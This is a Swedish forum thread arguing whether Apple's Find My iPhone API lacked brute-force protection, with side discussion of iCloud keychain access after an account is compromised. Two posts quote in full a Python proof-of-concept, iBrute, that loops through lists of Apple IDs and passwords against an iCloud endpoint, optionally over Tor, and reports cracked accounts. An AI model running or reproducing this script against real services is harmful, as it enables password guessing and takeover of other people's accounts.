- zappee
- Medlem ●
- International user
Det var ett bruteforce-skydd som saknades. Apple hade alltså en inloggning till sin molntjänst som inte var brute-force-skyddad! Det var inget hål eller bugg...någon hade glömt sätta dit en viktig standard-grej - glömt sjutillhållarlåset och bara lämnat bygget med ett litet hänglås
Nej, det var inte en inloggning. Det var ett API.
Nej, "låset" är inte sämre för att man kan försöka flera gånger.
Inte alls. Läs källkoden.
# -*- coding: utf-8 -*- # #hackapp.com #@hackappcom p0c for FindMyIphone bug #allows to bruteforce passwords without AppleID lock. #Before you start, make sure it's not illegal in your country. #Have a nice brute import json import urllib2 import plistlib from xml.dom.minidom import * from lxml import etree import unicodedata import re import xml.etree.ElementTree import time import random import json import cookielib import urllib import time import socket import base64 from time import strftime import socks import socket #Uncomment to user t0r, or any other socks5 proxy #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket def TryPass(apple_id,password): url = 'https://fmipmobile.icloud.com/fmipservice/dev...'+apple_id+'/initClient' headers = { 'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0', } json = { "clientContext": { "appName": "FindMyiPhone", "osVersion": "7.0.4", "clientTimestamp": 429746389281, "appVersion": "3.0", #make it random! "deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622", "inactiveTime": 1, "buildVersion": "376", "productType": "iPhone6,1" }, "serverContext": {} } req_plist=plistlib.writePlistToString(json) req = urllib2.Request(url, req_plist, headers=headers) base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '') req.add_header("Authorization", "Basic %s" % base64string) try: resp = urllib2.urlopen(req) except urllib2.HTTPError, err: if err.code == 401: return False if err.code == 330: return True return 'bad' file = open('passlist.txt','r') passwords = file.read() file.close() file = open('mails.txt','r') apple_ids = file.read() file.close() for apple_id in apple_ids.split('\n'): if apple_id: print 'Working with:',apple_id for pwd in passwords.split('\n'): if pwd: #print pwd password = pwd.split(' ')[1] print 'Trying: ', apple_id,password try: result = TryPass(apple_id,password) if result == True: print 'Got It!: ', apple_id,password if result == 'bad': print 'We are blocked!: ',apple_id,password except: print 'Protocol failed ',pwd
Nej, "låset" är inte sämre för att man kan försöka flera gånger.
Självklart är det sämre.
Du har 3 chanser på dig med olika lösenord, sen låses kontot.
Du kan prova oändligt antal gånger (tills du lyckas logga in om du träffar rätt) med olika lösenord.
Du tycker att båda är lika bra ur säkerhetssynpunkt?
Det var nog därför Apple täppte till hålet ca. 2 dagar efter detta (ibrute) började sprida sig på sociala medier och inte innan, för det spelar ingen roll att man kan bruteforca eller inte.
Använder inte icloud keychain själv, men är det möjligt att efter ha brute-forcerat ett konto kunna få tillgång eller återställa personens icloud keychain?
få tillgång=ja
återställa till annat än avsedd hårdvara=nej
tänk iCloud som en icke krypterad iTunes-backup av din iDevice
om du gör en backup i iTunes (till datorn) sparas din keychain krypterad med en unik hårdvaru-nyckel tex din iPhone...
med nackdelen att om du byter telefon, återställer till backup är din keychain oduglig/förstörd (du har inga lösenord)
om du däremot gör en krypterad iTunes-backup... skillnaden är att keychain på din iPhone skickas olåst till iTunes för att sedan krypteras med valt backup-lösenord... dvs du kan återställa din backup till en ny iPhone med bibehållen keychain
mao är iCloud-keychain inget att vara orolig för (än så länge )
få tillgång=ja
återställa till annat än avsedd hårdvara=nej
tänk iCloud som en icke krypterad iTunes-backup av din iDevice
om du gör en backup i iTunes (till datorn) sparas din keychain krypterad med en unik hårdvaru-nyckel tex din iPhone...
med nackdelen att om du byter telefon, återställer till backup är din keychain oduglig/förstörd (du har inga lösenord)
om du däremot gör en krypterad iTunes-backup... skillnaden är att keychain på din iPhone skickas olåst till iTunes för att sedan krypteras med valt backup-lösenord... dvs du kan återställa din backup till en ny iPhone med bibehållen keychain
mao är iCloud-keychain inget att vara orolig för (än så länge )
Trodde icloud keychain var till för att synka anv/lösen mellan flera olika enheter, men på din beskrivning låter det som jag missuppfattat det.
Trodde icloud keychain var till för att synka anv/lösen mellan flera olika enheter, men på din beskrivning låter det som jag missuppfattat det.
jo det är den ju... men du måste godkänna enheten (hårdvarunyckel)
sms eller "contact Apple support"
sms eller "contact Apple support"
Går sms via iMessage, för där borde väl en hackare med anv/pass ha tillgång till väl?
Går sms via iMessage, för där borde väl en hackare med anv/pass ha tillgång till väl?
det gör det inte.. hade varit ett möjligt kryphål annars
heh... antagligen det bästa sättet, speciellt om man lätt kan hitta en "jämförelsebild"
Inte alls. Läs källkoden.
# -*- coding: utf-8 -*- # #hackapp.com #@hackappcom p0c for FindMyIphone bug #allows to bruteforce passwords without AppleID lock. #Before you start, make sure it's not illegal in your country. #Have a nice brute import json import urllib2 import plistlib from xml.dom.minidom import * from lxml import etree import unicodedata import re import xml.etree.ElementTree import time import random import json import cookielib import urllib import time import socket import base64 from time import strftime import socks import socket #Uncomment to user t0r, or any other socks5 proxy #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket def TryPass(apple_id,password): url = 'https://fmipmobile.icloud.com/fmipservice/dev...'+apple_id+'/initClient' headers = { 'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0', } json = { "clientContext": { "appName": "FindMyiPhone", "osVersion": "7.0.4", "clientTimestamp": 429746389281, "appVersion": "3.0", #make it random! "deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622", "inactiveTime": 1, "buildVersion": "376", "productType": "iPhone6,1" }, "serverContext": {} } req_plist=plistlib.writePlistToString(json) req = urllib2.Request(url, req_plist, headers=headers) base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '') req.add_header("Authorization", "Basic %s" % base64string) try: resp = urllib2.urlopen(req) except urllib2.HTTPError, err: if err.code == 401: return False if err.code == 330: return True return 'bad' file = open('passlist.txt','r') passwords = file.read() file.close() file = open('mails.txt','r') apple_ids = file.read() file.close() for apple_id in apple_ids.split('\n'): if apple_id: print 'Working with:',apple_id for pwd in passwords.split('\n'): if pwd: #print pwd password = pwd.split(' ')[1] print 'Trying: ', apple_id,password try: result = TryPass(apple_id,password) if result == True: print 'Got It!: ', apple_id,password if result == 'bad': print 'We are blocked!: ',apple_id,password except: print 'Protocol failed ',pwd
Självklart är det sämre.
Du har 3 chanser på dig med olika lösenord, sen låses kontot.
Du kan prova oändligt antal gånger (tills du lyckas logga in om du träffar rätt) med olika lösenord.
Du tycker att båda är lika bra ur säkerhetssynpunkt?
Det var nog därför Apple täppte till hålet ca. 2 dagar efter detta (ibrute) började sprida sig på sociala medier och inte innan, för det spelar ingen roll att man kan bruteforca eller inte.
Som sagt, ett API och inte en inloggningssida som alla hittar/har tillgång till.
Ett kassaskåps lås blir inte sämre för att du kan slå en yxa i det 100 gånger.
Jag har inte sagt att det är lika bra, men om du har vettiga lösenord så tar det ändå för långt tid att bruteforca.
Som sagt, ett API och inte en inloggningssida som alla hittar/har tillgång till.
Vad är skillnaden? Att de ramlar JSON eller HTML över tcp-kopplet?
Ett kassaskåps lås blir inte sämre för att du kan slå en yxa i det 100 gånger.
Men detta är en molntjänst, inte ett kassaskåp. Rate limit är standard i molntjänster.
Vad är skillnaden? Att de ramlar JSON eller HTML över tcp-kopplet?
Men detta är en molntjänst, inte ett kassaskåp. Rate limit är standard i molntjänster.
Skillnaden är att det krävs lite för att hitta. Innan iBrute så var det ingen som nämnde det.
Har inte sagt något om vad som är standard eller inte.
Skillnaden är att det krävs lite för att hitta. Innan iBrute så var det ingen som nämnde det.
Jo men på vilket sätt är det över huvud taget relevant om det är ett "API" eller en "inloggning?" Behöver Apple inte skydda attackvektorer som "det krävs lite för att hitta?"